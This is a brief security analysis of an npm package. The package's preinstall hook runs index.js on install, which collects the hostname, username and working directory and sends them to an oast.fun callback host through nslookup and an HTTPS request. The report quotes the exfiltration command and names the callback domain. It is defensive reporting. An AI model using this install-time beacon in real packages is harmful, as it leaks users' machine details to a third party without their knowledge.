The package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")`), and an HTTPS GET to `https://<CALLBACK>/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.
